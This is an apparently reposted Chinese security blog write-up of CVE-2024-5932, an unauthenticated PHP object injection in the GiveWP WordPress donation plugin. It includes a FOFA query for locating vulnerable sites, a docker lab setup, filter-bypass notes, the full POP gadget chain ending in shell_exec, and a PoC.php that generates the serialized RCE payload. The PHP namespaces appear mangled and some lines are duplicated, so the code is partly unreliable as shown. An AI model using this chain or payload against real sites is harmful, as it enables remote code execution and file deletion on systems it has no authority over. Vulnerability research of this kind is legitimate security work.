漏洞描述
CVE-2024-5932:GiveWP PHP 对象注入漏洞描述:WordPress 的 GiveWP 捐赠插件和筹款平台插件在 3.14.1 及以上的所有版本中都容易受到 PHP 对象注入攻击,通过反序列化来自“give_title”参数的不受信任的输入。这使得未经身份验证的攻击者可以注入 PHP 对象。POP 链的存在允许攻击者远程执行代码并删除任意文件。
FOFA语法
body=
"/wp-content/plugins/give"
漏洞环境搭建
1. docker-compose.yml
services:
db:
image: mysql:8.0.27
command
:
'--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
2. 然后下载存在漏洞的插件
https://downloads.wordpress.org/plugin/give.3.14.1.zip
3. 解压并使用插件
解压GiveWP插件zip文件并将整个文件复制到“/var/www/html/wp-content/plugins”目录
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins
4. 激活 GiveWP 插件
5. 使用 GiveWP 插件添加新帖子并复制帖子链接
6. 检查易受攻击的链接
(可选)在docker环境中设置目标文件
首先,使用以下命令访问 wordpress shell:
docker
exec
-it -u root docker-wordpress-1 /bin/bash
如果文件属于root,则可能由于权限问题无法删除,因此需要使用以下命令更改测试文件的所有权:
touch
test
&& chown www-data
test
通过 PHPSTORM 进行调试
可以使用 PHPSTORM 调试您的 GiveWP。
1. 在你的wordpress(Docker)中下载xdebug:
pecl install xdebug
2. 然后设置 wordpress 的 php.ini 文件如下(Docker):
[DEBUG]
zend_extension=/usr/
local
/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..然后您就可以调试您的 wordpress 了。
3. 设置PHPSTORM如下(本地):
4. PHPSTORM示例(例如TCPDF任意文件删除)
分析
1. 脆弱点(includes/payments/class-give-payment.php)
此时,get_meta() 函数将之前保存的“give_title”值反序列化。
switch (
$key
) {
case
'title'
:
$user_info
[
$key
] = Give()->donor_meta->get_meta(
$donor
->id,
'_give_donor_title_prefix'
,
true
);
break
;
...
2. 绕过技术
strip_tags: replace nullbytes -> using �
strip_tags:使用 � 替换空字节 ->
stripslashes_deep: replace backslashes -> using \\
stripslashes_deep:使用 \\ 替换反斜杠 ->
4. RCE 的 POP 链
StripeStripeObject->__toString()
StripeStripeObject->toArray()
GivePaymentGatewaysDataTransferObjectsGiveInsertPaymentData->toArray()
GivePaymentGatewaysDataTransferObjectsGiveInsertPaymentData->getLegacyBillingAddress()
Give->__get(
'address1'
)
给->__get(
'address1'
)
GiveVendorsFakerValidGenerator->get(
'address1'
)
GiveVendorsFakerValidGenerator->get(
'address1'
)
GiveVendorsFakerValidGenerator->__call(
'get'
,
'address1'
)
GiveVendorsFakerValidGenerator->__call(
'get'
,
'address1'
)
GiveOnboardingSettingsRepository->get(
'address1'
) (Return
command
string)
GiveOnboardingSettingsRepository->get(
'address1'
)(返回命令字符串)
call_user_func(
'shell_exec'
,
'command'
)
call_user_func(
'shell_exec'
,
'命令'
)
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected
$_values
;
public
function
__construct
(){
$this
->_values[
'foo'
] = new GivePaymentGatewaysDataTransferObjectsGiveInsertPaymentData();
}
}
}
namespace GivePaymentGatewaysDataTransferObjects{
class GiveInsertPaymentData{
public
$userInfo
;
public
function
__construct
()
{
$this
->userInfo[
'address'
] = new Give();
}
}
}
namespace{
class Give{
protected
$container
;
public
function
__construct
()
{
$this
->container = new GiveVendorsFakerValidGenerator();
}
}
}
namespace GiveVendorsFaker{
class ValidGenerator{
protected
$validator
;
protected
$generator
;
public
function
__construct
()
{
$this
->validator =
"shell_exec"
;
$this
->generator = new GiveOnboardingSettingsRepository();
}
}
}
namespace GiveOnboarding{
class SettingsRepository{
protected
$settings
;
public
function
__construct
()
{
$this
-> settings[
'address1'
] =
'touch /tmp/EQSTtest'
;
}
}
}
namespace{
$a
= new StripeStripeObject();
echo
serialize(
$a
);
}
通过 POP 链进行远程命令执行
POP Chain 允许远程命令执行。
任意文件删除
使用 TCPDF,您可以利用任意文件删除漏洞。
原文始发于微信公众号(SecretTeam安全团队):【最新!!】Wordpress RCE漏洞 CVE-2024-5932 全网资产 5W+
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论